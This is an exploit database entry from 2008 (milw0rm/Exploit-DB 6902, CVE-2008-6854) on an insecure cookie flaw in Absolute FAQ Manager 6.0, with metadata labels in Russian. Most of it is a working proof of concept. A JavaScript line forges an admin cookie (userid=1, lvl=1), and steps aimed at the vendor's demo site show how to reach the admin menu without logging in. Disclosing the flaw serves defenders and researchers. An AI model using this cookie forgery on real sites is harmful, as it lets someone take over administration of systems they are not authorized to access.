Exploit Absolute FAQ Manager 6.0 - Insecure Cookie Handling

[Exploiter]

EDB-ID

6902

Проверка EDB

1. Пройдено

Автор

HAKXER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6854

Дата публикации

2008-10-31

#####################################################################################
# Discovered by : Hakxer                                                            #
# Script : Absolute FAQ Manager http://www.xigla.com/absolutefmnet/demo.htm         #
# Greetz : Allah , All My friend ,www.educ-up.com                                   #
# -------------------------------                                                   #
# Poc :                                                                             #
# javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s=";                   #
#                                                                                   #
# [~] Exploit                                                                       #
#                                                                                   #
# Go To admin login : http://www.xigla.com/absolutefmnet/demo/login.aspx            #
# Execute JS Code : javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s="; #
# Now Go to :http://www.xigla.com/absolutefmnet/demo/menu.aspx                      #
# 								                    #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )                    #
#####################################################################################

# milw0rm.com [2008-10-31]